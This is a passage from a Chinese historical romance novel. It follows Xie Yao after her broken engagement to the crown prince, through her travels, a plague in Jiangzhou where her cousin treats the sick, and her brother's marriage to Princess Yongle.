二人沉默片刻,最终松了口,“宵禁将至,谢二小姐莫要停留太久。”
“多谢。”谢杳粲然一笑,向他们见礼。
立于城楼,放眼望去,整个洛阳城尽收眼底,许是离长安相距不远的缘故,这里的繁华程度堪比半个皇都。
来来往往的行人进出城门,都不约而同地抬头望向她们所处的位置。
谢杳一袭大红衣裙,明媚艳丽,在夜色中格外惹眼。
她倚靠在城墙的青砖上,饮了口酒,垂眸凝望着露出的手腕。
城楼上的风很大,吹得她发丝翻飞,头却还昏昏沉沉的,不甚清醒。
“阿姊,这里风凉,我们还是下去吧,当心染了风寒。”
小满话音刚落,就看见一个黑影从她身边极快闪过,她险些叫出声,被段策及时捂住了嘴。
谢杳一个踉跄,跌入那黑影的怀中。
元序稳稳地揽住她,抬手将身上的披风解了下来,盖在她身上。
谢杳迟缓地眨了眨眼,“子启哥哥?”
元序闻言微怔。
她伸手扶住元序的肩膀,“你别晃。”
元序接住滑落的披风,耐心地给她披好,系紧系带,“我没晃,是你这个小酒鬼喝醉了。”
“我没醉!”
谢杳用力摇头,面露不悦。
她这一袭红衣倒像是婚服,元序的眸色微动。
谢杳慢慢凑近,与元序目光交汇,“子启哥哥……不对!是太子殿下。”
元序无奈地笑了笑,真是拿她没办法。
“你怎么又穿玄衣?”谢杳拽了拽他的衣领,“不好看。”
段策见状,连忙拉着小满转了过去,背对着他们。
“别闹。”
元序拉开她的手,柔声哄道:“昭昭喝醉了,再吹风,明日会头疼的,我们该回去了。”
“回去?”谢杳的眸中透出一抹忧伤,“哥哥到了洛阳,我就该回去了。”
元序动作一滞,他能将她带回哪儿去?对他们来说,无非是一人回长安,一人回江宁,他们再也没有同归之处了。
段策忍不住转过身,“殿下,还是快带阿姊回公主府吧。”
元序将谢杳打横抱起,小心翼翼地走下城楼。
守城的士兵见状,都无声施礼,不愿打扰,他们望着二人的背影,连连叹息。
世事无常,造化弄人,太子和太子妃携手赈济灾民的事迹似乎还在昨日,而今却只能隐匿在这阑珊夜色中,渐趋陌路,成为无人知晓的过往。
王侯将相尚且不能圆满,他们这些微末之辈何以能不汲汲营营呢。
翌日清晨,谢杳从睡梦中醒来,一时有些恍惚。
她是怎么回来的?
记忆里,只剩下在城楼上喝酒的零星片段。
小满端着醒酒汤轻手轻脚地走进来,见她醒了,连忙问道:“阿姊感觉如何?可有头疼?”
谢杳轻轻摇头,“我是怎么回来的?”
“阿姊昨夜喝醉了,是太子殿下将你送回来的。”小满叹了口气,“饮酒伤身,阿姊以后断不能再这般了。”
谢杳默不作声,元序昨夜便来了洛阳,定是也未参加兄长的大婚,他们倒是出奇地一致,可圣上那边,怕是不好交代了。
小满蓦地想到什么,“阿姊,方才苏侍卫说有事找你,他现下应是还在院中。”
谢杳动作极快地敛好衣裳,“公主府人多眼杂,请他进来吧。”
段策走到桌案旁,躬身作揖,“阿姊。”
谢杳起身扶起他,“殿下将一切都告诉你了?”
段策颔首。
“阿策,这些年是阿姊对不住你,害你漂泊了这么久。”谢杳眸光闪烁。
“阿姊从来都没有对不起任何人,江宁侯府远隔江南,有心无力,我岂会怨阿姊。”
谢杳轻叹,示意他坐下说。
“更何况我亦不曾漂泊。”段策提起过往,“段府灭门时我不过三四岁,几乎没有什么印象,我儿时的全部记忆都在长安苏府,后来我就到了东宫,做了殿下的亲卫。”
“殿下将你养得很好。”谢杳很是欣慰,“阿策以后作何打算?”
段策猛地起身,“阿姊,我想继续守在殿下身边,以报他的救命之恩。”
谢杳恬然一笑,“阿姊尊重你的选择,但倘若有一日阿策想离开东宫,江宁侯府便是你的归处,你要记住,你永远都不会无家可归。”
段策连连点头,喜悦之情溢于言表。
门忽然被人从外面推开,元序缓缓走进屋内,“昭昭就这么放心,将他托付给我?”
谢杳没想到他会来,一时没反应过来。
段策识趣地拉着小满出了屋,将门关好,守在门外。
“阿策是殿下救下的,若是这样都不能放心托付,那这世间又有何人值得信任呢?”谢杳言辞恳切。
“那昭昭的退婚书怎么还写得那般情真意切?”
元序此言一出,屋内四下寂静。
良久,谢杳毫不退让地迎上他的目光,“圣上旨意,我不写不行吧。”
元序的面容依旧如和煦春风,眸中却是刺骨寒凉,纵使是温润如玉的东宫太子,也难抵命运蹉跎的世事无常。
谢杳轻笑,将腕上的红翡玉镯干脆利落地摘了下来,递给他,“看来我与这玉镯无缘,殿下还是将它送给有缘之人吧。”
元序没有伸手,沉声道:“昭昭再陪我同游一次吧。”
“殿下,这于礼不合,若是圣上知道了,恐要怪罪。”
“昭昭担心我?”
谢杳轻轻摇头,“如今太子妃婚约已解,我与殿下都未参加公主与驸马的大婚,却不约而同地出现在洛阳,这罪名,谢杳承担不起。”
不等元序回答,谢杳将镯子放在桌案上,径直出了门去。
秋高气爽,云淡风轻,是个难得的好天气。
谢杳刚迈出公主府门就撞上了一个鸦青色的人影。
“阿杳,没事吧?”那人连忙扶住她。
谢杳揉了揉肩膀,待看清来人的面容,很是惊诧,“阿宇?你怎么在洛阳?”
“我调任楚州刺史了,正好随你一道回去。”
谢杳眉头微蹙,楚州刺史虽是正四品,比大理寺少卿官升一级,可京官外调,实则明擢暗贬。
她轻叹,“终究还是段氏一案牵连了你。”
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“阿杳这是说得什么话,你我之间,江宁侯府与定远侯府之间,谈何牵连。”陆琼宇纠正道。
他将话锋一转,“你这是要去哪儿?”
“不知道。”
“不知道?”
谢杳轻声道:“太子殿下在府内。”
陆琼宇会意,拽着她的衣袖,将她拉走,“听说洛阳有南北两市,好不容易来一趟,你陪我去逛逛。”
谢杳本也不知该去到何处,正巧陆琼宇为她找了一个好借口,于是任由他领着,向南市走去。
既然今生无缘,何不彼此放手,既然决定了要放下,就不应该再有任何牵扯。各自安好,对他们来说,是不得已而为之,但同时也是最好的选择。
有些人,有些事,只能相携一段路,即便如此,也已经足够幸运,没什么遗憾的了。
谢杳如是想到。
第三日黄昏,谢景与永乐公主一行抵达了公主府。
他们与太子寒暄了几句,谢景就将小满带到一旁,轻声问道:“昭昭呢?”
小满摇头,面色复杂,将近日谢杳与太子的对话全盘托出,“阿姊不让人跟着,也不知她现在何处。”
谢景轻叹,他本以为让妹妹先行离开就能避开此等窘境,却不曾想,太子竟来了洛阳。
他正沉思该如何寻人时,忽然传来了一个清脆的声音。
“哥哥!”
谢杳快步向他跑来。
谢景的目光从她身上移开,望向跟在她身后的陆琼宇,舒了口气,他忙着成婚事宜,一时忘了玉楼调任楚州刺史,已比他们先一步到了洛阳。
“与殿下见过了?”谢景试探着她的态度。
谢杳颔首,面色如常。
“父亲、母亲启程回江宁了,你可以在洛阳多待几日。”
谢杳俏皮一笑,“哥哥新婚燕尔,我可不愿在你这儿大煞风景。”
谢景无奈地瞥了她一眼,转而与陆琼宇交谈,“玉楼何时赴任?”
“立冬前至楚州即可。”
“那要劳烦你送昭昭一程。”谢景嘱托道。
“玄明兄放心。”陆琼宇郑重应道。
“怎么就成了送我?”谢杳双手交叉,抱于胸前,“楚州在北,应是我送他。”
“没大没小。”谢景轻轻敲了下谢杳的额头。
“哥哥说不过我便动手,非君子所为。”
元承双在一旁观察已久,实在忍不住笑出了声,“确实不该动手。”
“还未来得及恭喜公主,新婚喜乐。”谢杳见礼,“谢杳未至长安观礼,特向哥哥嫂嫂赔罪。”
元承双握住谢杳的手,“我怎会怪你,我们都身不由己。”
谢杳轻轻摇头,言辞恳切,“我倒觉得公主与兄长甚是相配,圣上还是择了一个好姻缘的。”
元承双有些羞赧,顾左右而言他,“阿杳多待几日,陪我说说话。”
“我想趁着江水还没有结冰,乘舟南下,去看一看江南的风景。”
“公主,让昭昭去吧。”谢景幽幽开口。
元承双有几分不舍,但还是尊重她的选择,“何时启程?”
“明日。”谢杳莞尔,“哥哥嫂嫂不必送,我一介闲人,来去自由,日后还有很多机会可以相见。”
夜色渐深,屋内一片漆黑。
待小满一一点亮烛火,谢杳缓缓走进屋内。
桌案上空空如也,她轻叹,这一切总算结束了。
天气骤变,狂风大作,似是有雨。
陆琼宇和谢杳加快脚步将行囊搬上马车,确认没有遗漏后,正欲离开,却被人拦下。
谢杳掀开窗帷,见是元序,神色微动。
“可否请谢二小姐下车,单独一叙。”
陆琼宇怕她不好应对,抢先出声,“殿下何必强人所难。”
“此事与陆刺史无关。”元序声音温润,态度和缓。
谢杳轻轻摇头,向陆琼宇示意,“他是太子,我们不好拒绝。”
她快步跃下马车,走到元序面前,“殿下找我何事?”
元序从衣衫中拿出一块玉佩,递给她。
弦月玉佩?
谢杳伸手接下,陇右的回忆在她脑海中不停闪过,那时在凉州她只顾着审应胥,倒忘了这块玉佩。
“多谢殿下。”
元序凝眸望向她,“昭昭,愿你此后康宁,胜意。”
“谢杳愿殿下宏愿得偿,建海晏河清之盛世,此后山高水长,各自欢喜。”
谢杳见礼,转身头也不回地上了马车。
长风起兮,雨打清秋,世事一场大梦,曲终离散,引人叹。
那时的谢杳以为,这便是她与元序的结局,然而他们之间的羁绊,远不止于斯——牵连性命,甚至牵及万里江山。
22. 第二十一卷·江海寄余生
烟波浩渺,风平浪静,抵达楚州时,比马车的日程整整快了一半。
在到楚州的前一晚,谢杳与陆琼宇并肩立在船头,望向遥远天际的璀璨星河,双双感叹。
陆琼宇用余光瞥向谢杳,这些年她成长得很快,现在的她,纵使近在咫尺,也让他觉得远隔千里。
他渐渐猜不透她的心思,大概是从她及笄的那一年,从自己在西市落荒而逃的那一刻,他们之间就渐行渐远了。
过去的他们隔着太子妃的婚约,隔着太子,他望而却步,如今终于又回到儿时那般,他不想再错过了。
“阿杳,我想辞官。”
谢杳不可置信地望向陆琼宇,若不是他又重复了一遍,她都怀疑自己是幻听了。
“为何?”
“官场的争斗,我实在厌倦。”
“那辞官后呢?你可想过?”
陆琼宇扬唇,将手一挥,“游历天下,阅尽山川湖海。”
谢杳轻轻摇头,“我认识的阿宇,志不在此。”
陆琼宇不答,侧头回望她。
“守大晟之疆土,扬大晟之国威,四方夷狄,凡有敢犯者,必诛之。”
夜色阑珊,四下寂静,谢杳声音清脆,带着不容忽视的笃定。
陆琼宇微怔,没想到她还记得儿时他说过的话。
“你到底为什么想辞官?”谢杳追问道。
“阿杳,我不放心你一个人。”
“我不是一个人,有棠梨,还有小满……”
“阿杳。”陆琼宇打断她的话,“我可否唤你一声昭昭?”
谢杳心头一震,很快会意,“这些年都照旧的称呼,何必要改。”
陆琼宇眸中闪过一丝失落,他轻轻点头,不再作声。
“明日到了楚州,阿宇不必再随船送我,江宁距楚州不远,日后总有机会相见。”
言罢,谢杳转身进了船舱,不带一丝留恋。
天高远阔,是她决意的独行路,不该牵扯旁人,他的心意,她只能辜负。
偌大的皇宫灯火通明,却让他恍如隔世。
元序走得缓慢,每一处与谢杳有关的回忆都渐渐浮现在脑海,他攥紧手中的玉镯,魂不守舍地回到东宫。
殿内,一个明黄色的身影负手而立,背对着他。
元序不露声色地收好镯子,躬身见礼。
“太子去了何处?竟连自己皇妹的大婚都抛诸脑后。”
“儿臣有罪,但凭父皇责罚。”
朔光帝长长地叹了口气,转身扶起元序,缓缓开口:“西羌异动,大晟容不得内忧外患,别怪父皇狠心。”
“父皇,江宁侯府从未有过反心,何以称得上是内忧?”元序言辞恳切。
“太子,你是朕最引以为傲的儿子,这天下间的所有朕都能允你,唯独谢氏女,当不得这个太子妃。”
元序苦笑,“那父皇认为,何人当得?”
“范阳卢氏长女,端庄恭谨,才淑娴雅,颇为合适。”
元序猛地跪地,“父皇方才说西羌异动,儿臣请命,亲赴陇右,以示大晟国威。”
朔光帝面色一沉,“若不是朕授意,太子以为尔能出得了长安吗?”
元序不答,就这般同他僵持着。
“太后娘娘到!”
福公公的一声通传,打破了僵局。
太后扶起地上跪着的元序,沉声对朔光帝说道:“太子刚退婚,皇帝便要下旨赐婚,传扬出去,怕是百官要说陛下无容人之量了。”
朔光帝怒而不宣,扬起笑意,“母后教训得是。”
“西羌异动,乃常有之事,何劳太子亲征?”
“皇祖母,孙儿了解陇右的情况,沙州乃大晟西陲门户,不得有失,还望父皇、皇祖母成全。”
“尔是太子,是大晟的将来,不容有任何闪失。”太后态度坚决,“陇右有镇西将军在,有安西军将士,还轮不到尔出手。”
元序终是拗不过,只好点头答应,心中另作盘算。
朔光十八年冬至前夕,谢杳乘舟行至江州,顺道拜访谢氏南支。时任江州司马谢弈泓,正是她的二叔父。
彼时江州瘟疫蔓延,隐有灭城之像。
谢杳不做思量,带着棠梨和小满在城中辗转,帮助江州府衙共克难关,不等疫病解除,她倒是先病倒了。
暮色沉沉,一个纤瘦的身影走进谢杳的卧房,她小心翼翼地扶起谢杳,将一碗汤药慢慢喂给她。
谢杳眼睫微颤,缓缓睁开眼,来人竟是她的堂姊,谢大小姐谢星婉。
“醒了。”谢星婉声音温润。
谢杳神智渐趋清醒,就连四肢也轻盈了许多。
“堂姊这药与郎中给我开的似乎不一样。”
谢星婉比了个手势,示意谢杳放低声音。
“堂姊会医术?”
谢星婉不欲隐瞒,点了点头。
“这药药效极快,或许可治这城中疫病。”
“我知道堂妹要说什么,就算将这药方传扬出去,也没用的。”
“为何?”谢杳不解。
“疫病之症,因人而异,须得面对面看诊,才可行。”
谢杳很快猜到缘由,“二叔父不允你行医?”
谢星婉闻言一笑,她虽不曾与谢杳见过几次面,倒是打心底里很喜欢这个妹妹,究其原因,大抵是她聪慧又仁善吧。
“父亲说待字闺中的女子不好见外客,更遑论行医了。”
谢杳眉头微蹙,大晟建朝后,男女地位虽愈加平等,但到底还是有许多旧习深入人心,改变很难一蹴而就。
“堂姊也这么认为吗?”
谢星婉叹了口气,“我如何认为不重要,毕竟人的观念是很难改变的。”
“很难,并不意味着不能。”谢杳语气笃定,“堂姊若信我,便同我一起,打破这个所谓的规矩。”
翌日清晨,谢杳解下面帛,直奔书房。
谢弈泓望见自己侄女这朝气蓬勃的样子,心下了然,又故作不知,关切地问道:“阿杳痊愈了?”
谢杳颔首。
“二叔父不想知道我是如何好的吗?”
“阿杳且说来与叔父听听。”
“是堂姊。”
谢弈泓目光闪躲。
“二叔父身为江州司马,便是江州百姓的父母官,如今灵丹妙药就在府内,您还要抱着陈规旧俗视而不见吗?”谢杳直言相问。
“阿杳,人言可畏,你叫你堂姊日后如何嫁人?”
“堂姊出诊为得是江州城百姓的命,此番义举,功德无量,自会有心有灵犀之士,能懂她,体谅她,如若江州没有,天下这么大,也总会有。”
“就算天下间没有也无妨,大不了女儿一辈子不嫁。”
谢星婉快步走进书房。
“女儿也想像堂妹一样,勇敢地面对这个世道,追寻自己心中所求。”
谢弈泓沉默不语,缓缓转过身,抬手示意她们出去。
谢星婉本还想再出言恳求,却见谢杳轻轻摇头,只好作罢。
“为何不让我多言?”谢星婉很是不解。
“在我之前,堂姊是否偷偷给旁人也诊治过?”
谢星婉微怔,轻轻点头。
谢杳扬唇一笑,“连我都能猜到,二叔父显然也知晓。”
谢星婉恍然,领会了她的言外之意。
“你的医术精湛,妙手回春,可总要给二叔父些时间,让他迈过心中的成见,坦然接受。”
“我可以等,可江州百姓等不得了。”谢星婉面露担忧。
几乎同时,谢弈泓推门而出,“江州百姓确实等不得了,婉儿,这一次,为父便将江州城托付给你了。”
“女
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儿必不辱谢氏门楣。”
言罢,谢星婉匆匆出了府去。
谢弈泓走到谢杳身旁,“阿杳,此番要多谢你,点醒了叔父。”
谢杳笑着摇头,“二叔父早有此意,只是不敢轻易交付,我不过是推了您一把。”
“得女如此,是谢氏之幸啊!”谢弈泓感叹道。
“有堂姊在,相信江州的危机很快便能得解。”
谢杳躬身见礼,“二叔父,告辞。”
谢弈泓望着谢杳离去的背影,很是感慨,太祖薨世后,谢氏艰难求存,不得已掩藏锋芒,守拙自保,已是许久未曾有人崭露头角了。
他这侄女倒有几分父亲的影子,奈何木秀于林,风必摧之,惊世之才,也不知是福是祸。
冬至大如年,就连沉闷的军营也不例外。
将士们围坐在篝火旁,大口喝酒,大口吃肉,好不痛快。
元序坐在他们中间,没有一点架子,就是面容看起来有些格格不入。
将士们知晓他的性子,都戏称他为大晟第一儒将。
为何是第一?
自是因为他是太子,他若称不上第一,谁又敢论第二呢?
元序望着篝火蹦出的零星火星,出了神。
去岁隆冬,他还是与谢杳一同来到凉州城,当时谢杳还可惜,未能与名满天下的镇西将军谋面,如今倒真成了遗憾。
他饮了一大口酒,借着醉意,策马向城楼疾驰而去。
朔风呼啸,刮过面庞,犹如刀割。
守城的士兵见到他,俱是一惊。
元序倒不以为然,他摆了摆手,示意他们去休息。
他径直登上城楼,倚靠在城墙垛口处,吹起了箫。
箫声呜咽,如泣如诉,声闻于天,不绝于耳。
士兵们听着这样的箫声,望着眼前凄清的景色,都沉浸在悲戚的情绪中。
边塞的将士哪一个不是抱着必死的决心,马革裹尸还,有些是为了报国,有些是迫不得已,走投无路。
镇西将军不知何时忽然出现在元序身后,他毫不犹豫拔剑刺向元序。
元序瞥见剑光,侧身一躲,避开了他的剑刃。
那一剑劈在城墙青砖上,裂开一道缝隙。
元序飞身拾起地上的长枪,与镇西将军交起手来,二人不相上下,一时间陷入僵局。
镇西将军看准时机,将剑一挑,元序袖中的箫掉落在地,碎成两半,他达到目的,就此停手。
“阿舅若是不愿听告诉孤便可,何必动手?”元序俯身拾起地上的箫。
“断源绝流,方可重获新生。”
元序不答,目光望向远处漆黑的天际。
“殿下要是想逃避,就躲回东宫去,凉州军营不是养伤之所,不留萎靡不振之人。”
镇西将军留下这么句话,转身离去。
元序轻叹,他并不是想要逃避,反而想要让这一切深深地刻在自己的心里。
这里有他们一起走过的路,他永远不会割舍,只好一遍一遍地独自回忆。
久而久之,便成了他继续前行的勇气。
哪怕艰难,他也要开创一片清平盛世,护他所爱之人无虞。
朔光十九年初春,谢杳重整旗鼓,于江宁沿江南下,直达渝州。
剑南道重峦叠嶂,水色接天碧,世间独成一派,这里的人性子泼辣直爽,让她有些措手不及。
所谓天高皇帝远,大抵便是如此。
此去经年,再也没有长安的消息传来,谢杳也不曾提起元序,就好似她从未经历过那一段过往,日子如常,平静而安宁。
整整一载春秋,她遍走江南,做着力之能及的善事,昔日的少女渐渐长成,举手投足间气度不凡。
太子妃之名渐渐淹没于世,取而代之的是谢府二小姐的名号,江南民间无人不知,无人不晓。
23. 第二十二卷·琴瑟在御
春去秋来,转眼已是他们成婚的第二年。
元承双躲在院中的一棵老槐树后,偷偷望向书房窗牖间的人影。
桃夭忍俊不禁,“公主为何不进去看?”
元承双羞赧地摇了摇头,又回望过去,却发现窗中的人影不见了。
谢景比了个手势,示意桃夭不要出声。
他轻手轻脚地走到元承双身后,伸手捂住了她的眼睛。
元承双扬起一个明媚的笑意,“玄明。”
“入秋了,天气寒凉,公主若是想看,便到书房坐着。”
“我看你写得认真,不愿打扰。”
“这怎么能叫打扰呢?”谢景神情认真,“承双同我不必这般客气,这里不是皇宫,你不需要察言观色,也不需要克己守礼。”
元承双用力地点了点头。
桃夭望着公主、驸马相敬如宾的样子,很是欣慰,她从小伴在公主身侧,在皇宫的数载,公主都不似这般展颜。
公主的性子软糯,心思单纯,起初她还担心,但如今看来,倒是她多虑了,驸马是个风雅有趣之人,二人乃天作之合。
“公子,侯府的信。”
谢景接过信,当面拆开,缓缓扬唇。
“承双,今岁除夕,我们回一趟江宁吧。”
元承双眸光闪烁,“当真?”
谢景颔首,“别忘了传信知会外祖父,莫要让他老人家担心。”
元承双欣喜地应下,“那我去收拾行囊。”
言罢,她快步跑开了,留下谢景在原地望着她的背影,无奈地笑出了声。
朔光二十年除夕,江宁侯府迎来了难得的阖家团圆之日。
堂内的桌案上,摆满了各色美食,冒着腾腾热气。
旧桃符被人利落地摘下,换上墨迹未干的新桃符,窗花样式各异,张贴在府内各处,一派祥和之气。
桃叶渡挤满了小舟,皆是归家的人潮,谢杳等在渡口边,四下张望着。
“二小姐这是在等谁?”
“等我兄长和嫂嫂。”谢杳微微扬唇,“老丈,您今日怎的这么早?”
“挤不过这些客船,人多的连鱼儿都吓得躲起来了。”
谢杳开怀一笑,伸手将老丈搀扶上岸,“老丈,新岁康宁!”
“昭昭——”
谢杳循声望去,远远瞧见兄长在船头招手。
她轻轻点头,待船靠岸,他们下了船后,才缓缓开口:“兄长,公主。”
谢景上下打量了妹妹一番,连连感叹,“昭昭生得愈发俊俏了!”
谢杳略过兄长,径直走向元承双,“公主近来如何?”
二人都很是激动,拉着彼此的手,一直聊到进了府门。
“这才过了几年,就把你兄长忘得一干二净了。”谢景很不服气。
谢杳狡黠地眨了眨眼,“哥哥,你是个大醋坛子吗?”
谢景抬手,掐了掐谢杳的脸蛋,“没大没小,怎么说你兄长呢?”
谢杳瞋目,追着谢景在府内跑了一圈。
“姑姑救我!”
谢景拉住谢弈月的胳膊,故作可怜地晃了晃。
谢弈月无奈地摇了摇头,“都说让你学点功夫,也不至于如此狼狈了。”
谢杳摇身一跃,跳到谢弈月身旁,拦住了谢景的去路,她摩拳擦掌,准备好好同兄长理论理论,却被人拉住。
“阿杳,还是留他一命吧。”元承双难掩笑意。
“行吧,我给公主一个面子。”
谢杳意味深长地笑了笑,蓦地轻轻推了元承双一下,只见她向前一倾,稳稳跌在谢景的怀里。
谢杳见状快步离去,深藏功与名。
谢弈月忍俊不禁,也识趣地默默走开了。
“承双,你没事吧?”谢景低头看向她。
元承双愣怔在他怀中,一时没有反应过来。
“没……没事。”
“昭昭是习武之人,力道控制得极佳,应是不会伤到你。”
他的身上有一种很熟悉的味道,元承双目光囫囵扫过谢景的衣衫,发现了他腰间的香囊。
“我送你的香囊,你一直带着?”
谢景挑眉,“你送的,我自是一直带着。”
二人相视一笑,眉目间溢满爱意。
谢杳躲在回廊的墙边,偷偷望着他们,扬起了唇角。
“阿杳在看什么?”
她闻声回头,将来人拽到墙边,示意他噤声。
陆琼宇透过墙上的花窗望向院内,也不自觉扬起了唇角。
“阿杳这是在偷窥。”
“那这么说的话,陆刺史也是在偷窥。”谢杳分毫不让。
陆琼宇拿她没办法,只好用力将她拽走,“看得差不多了吧?陪我去寻点吃食。”
谢杳见好就收,顺便关心起了他的仕途。
“楚州可还待得习惯?”
“楚州风物无甚不同,就是地处沿海,水汽多了些。”
“听起来不错。”
陆琼宇脚步微顿,“我刚说了一句,你就觉得不错?”
“你现如今可比做大理寺少卿时要清闲得多,再加之你的言谈、状态,都能让人瞧得出不同,楚州定是不错的。”
“阿杳观人于微,玉楼佩服。”
谢杳莞尔,加快了脚步,引着他前往中堂。
暮色渐沉,爆竹作响,焰火升空,江宁侯府上下齐聚堂内,饮宴闲谈,好不热闹。
元承双望着眼前一片欢乐的景象,心中感慨,从前她在宫中,觉得陈规繁琐,连守岁都少了些意趣,明明都是除夕,却境况分明,大有不同。
“承双可是想家了?”谢景觉察到她的情绪,用只有二人能听见的声音,轻声问道。
元承双轻轻摇头,“玄明,我们可不可以多待几日?”
谢景颔首,他隐约猜到几分,可惜公主府无法迁至江宁,他能做的,只是给她这几日的欢愉。
上元节后,到了他们该回洛阳的日子。
谢景再三思量,偷偷找来谢杳。
“哥哥有什么事,直说便是。”
“兄长想请你北上,送公主一程。”
谢杳不解,“为何要我送?”
“她喜欢江南,却不得不离开,你若是能陪她几日,或许她还能少几分伤感。”
“好。”
谢杳望着兄长欣喜的模样,也跟着感到欢欣,看来兄长是真的属意永乐公主,如此也好,他们之间总算有一个人是圆满的了。
***
下了马车,谢杳拢了拢衣衫,北方的初春还异常寒冷,这些年她久居江南,一时间有些适应不了。
“哥哥?你怎么来了?”
元庆扶住快步跑上前的元承双,让她免于摔倒。
“怎么冒冒失失的?”
“许久不见你,有些心急。”
元庆移开目光,望向她身后。
谢杳见他望过来,落落大方地施礼,“二殿下。”<
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元庆颔首,“谢二小姐。”
四人进府后,元庆找了个机会,与谢杳单独坐在院中的亭内,寒暄了几句。
几番言谈,元庆发现她只字未提太子。
“二小姐不问问皇兄吗?”
谢杳微怔,元序这个名字,渐渐浮现在她的脑海,让她不免有些恍惚。
“过去的事,不提也罢。”
望着神色淡然的谢杳,元庆心念微动,“谢二小姐当真不同寻常。”
谢杳忍俊不禁,“二殿下何出此言?”
元庆忆及过往,“还记得第一次见到二小姐时,二小姐说,‘名望皆浮华,人不会因其而异’,世人难以堪破的道理,二小姐却能独抒己见,言出必行,怎么会是寻常之辈?”
“谢杳不过是做了谢杳力之能及之事。”
面前的女子坚毅淡然,行事不同于他见过的任何女子,这般绝代风华,深深触动了他的内心。
谢杳身上有他最向往的一个东西——自由,真正的自由不是游历山川江河,而是内心的坦然,是在世道规矩的种种囹圄中,依然能走出一条自己的路。
元庆很是感叹,现在的她与皇兄相比,也不输一二。
没待几日,谢杳和元庆就纷纷启程回去了,他们一南一北,相向而行,公主府紧接着迎来了第三位客人。
“皇兄?”
元承双见到元序时,面上维持着笑意,内心却波涛汹涌,若是再早一些,怕是他们便要遇上了。
“孤顺道过来看看你。”
元承双腹诽:哪里顺道了?
“殿下?”
谢景见到元序也是一惊,向元承双递了个眼神。
“皇兄且在府上多待几日,永乐在洛阳无甚友人,平日这府里也无人前来,闷得很。”
“皇妹此去江宁,可游得畅快?”
元承双大窘,竟忘了太子也是知晓的。
“江宁天青水碧,是个好去处。”
她慌不择言,眼神瞥向谢景。
“殿下是想问昭昭的近况吧?”谢景直言相问。
元序颔首。
“昭昭不在府内,她沿江南下,游历山水去了,现如今应是到了蜀中。”谢景神情认真,“殿下,过去这么久了,还是放下吧。”
元序不置可否,向二人施礼作别。
元承双轻叹,虽然谢景撒了慌,但也是为了他们着想,若是皇兄问她,她也一样会如此行事。
前朝至今,还没有哪个世族能统揽太子妃和驸马之位,他们的父皇亦是断不可能准允的。
既然无缘,何苦执着,更何况谢杳都已经放下了,又何必再让皇兄一个人画地为牢呢。
谢景牵起她的手,“承双,我们出去走走吧。”
元承双回握住他的手,同他并肩出了府。
永宁寺旁,牡丹开得正盛,为春日添了几分颜色。
元承双驻足观赏,月白色的衣裳在花丛中,像是一只蝴蝶,轻盈动人。
谢景凝眸望向她,扬起明媚的笑意。
这世间阴差阳错,福祸相依,也是一种缘法,不然他也不可能遇见她。
谢景心下笃定,他们一定要相偕白首,不负过往辗转,将妹妹的那份遗憾,走到圆满。
元承双抬眸,迎上谢景温柔的目光。
繁花簇拥下,他缓缓向她走来,似春日最盛的阳光,照亮了洛阳的一隅,也照亮了她脆弱敏感的心。
既见君子,云胡不喜?
24. 第二十三卷·山雨欲来风满楼
朔光二十二年中秋,愁云惨淡,隐有暴雨之势。
谢景小心翼翼地扶着元承双走到院中,走几步就停下休息片刻,生怕她动了胎气。
“今日天气不佳,不若我们改日再去吧?”
“正因如此,才更显诚心。”
谢景犹豫着拿不定主意。
元承双面色不悦,“我日日待在府中,都要闷死了。”
“那我们去城内的永宁寺可好?”谢景退让一步。
元承双摇头,“不,我们就去白马寺。”
谢景拗不过她,只好点头答应。
马车穿过熙攘的街市,不急不徐地稳稳驶向城外。
元承双隐约感觉小腹微痛,她下意识捂住肚子,惹得谢景好一阵担心。
“怎么了?不舒服我们便回去。”
“无碍,可能是孩子在动。”
谢景俯身,贴在她的肚子旁,侧耳听里面的动静。
“不管你是小丫头还是小公子,都不许折磨你阿娘。”
元承双忍俊不禁,笑他幼稚。
谢景也不反驳,只凝眸望着她,悉心留意着她的状况。
洛阳西郊的白马寺,门可罗雀,前来进香的香客不过二三。
谢景舒了口气,还好人不多。
进完香,元承双求签掷筊,卦签不甚落在地上,还未待她拾起,桃夭便匆匆进殿,轻声通禀,“公主,驸马,家主病重,请您前去。”
元承双闻言,心头一震,双膝发软。
谢景急忙揽住她,支撑她站稳,扶着她快步走出白马寺。
庙内的小沙弥在打扫佛像前的香灰时发现了地上遗落的卦签,他拾起一看,眉头微蹙——第十四签,下下。
***
皇宫的中秋夜宴上,众人推杯换盏,竟无一人欣赏天边满月。
元序与前来攀谈的人虚与委蛇了几句,借机溜出殿外,倚在玉石台阶上,优哉游哉地望向远处的天际。
一个内侍风风火火向大殿跑来,被他拦下。
“何事如此慌张?”
“太子殿下,薛大人病重,请皇后娘娘归乡。”
元序摆手示意,命他速速进殿。
他默默思量,总觉得事有蹊跷,薛凌寒身子硬朗,也未曾听说过他有何隐疾,怎会忽然病重?
翌日,圣上召来元庆,命他替皇后前往洛阳,探望薛凌寒。自此,皇后日日前往大兴善寺,为父进香,以祈父亲能够转危为安。
这一切落在元序眼里,作不得假,不免让他觉得此番是他过于敏感了。
可谨慎些总归无错,毕竟薛氏昔日的勾当还历历在目,有些事越真切,就越可疑。
黄昏前,元序策马赶到红尘楼。
月见见他前来,有些惊讶。
“姑姑可在楼中?”
“殿下,师父不在楼内,最早也要明日归来。”
元序思忖了片刻,“待姑姑归来,你告知她,洛阳恐有异动,孤请她出山一探。”
月见颔首,心中隐隐担忧,洛阳?难道是大公子出了事?
中秋过后,谢杳的心中总是惴惴不安,她以为是这几日过于劳累,身体不适所导致的,故一连几日,她都让自己歇息下来,不时出门散散心。
高晚慧见她如此,忍不住劝她再走远些,游山玩水放松心绪。
她思来想去,最终决定前往楚州,去看一看陆刺史治下的城池。
途径扬州时,她稍作停留,这座城池与三年前相比,人口增了不少,如今街上熙熙攘攘,一片繁华景象。
第五日出城时,马车停下的片刻,谢杳掀开窗帷,目光随意扫过来往的人群,发现了一丝异样。
这些进城的人大多衣衫厚实,应是自北方前来,她仔细打量着每一个进城的人,发现几乎都是外来客。
久居江南的人根本不会在此时换上初冬的装束,这般温热的天气,他们却连换身衣裳的时间都没有,说明来者匆匆,应是为急事所扰,可如此大量的人流涌向江南,会是因为什么急事?
难道长安有异?
她极快地理清思绪,若是长安动乱,恐怕各地早就流言四起,不会悄无声息。北方并无灾情,因而也不是流民南迁。
“怎么都是些生面孔。”小满口中喃喃。
谢杳望向她,“什么?”
“这几日,城中添了不少生面孔。”
棠梨蹙眉,“你是说扬州?”
小满摇头,“不止是扬州,还有江宁。”
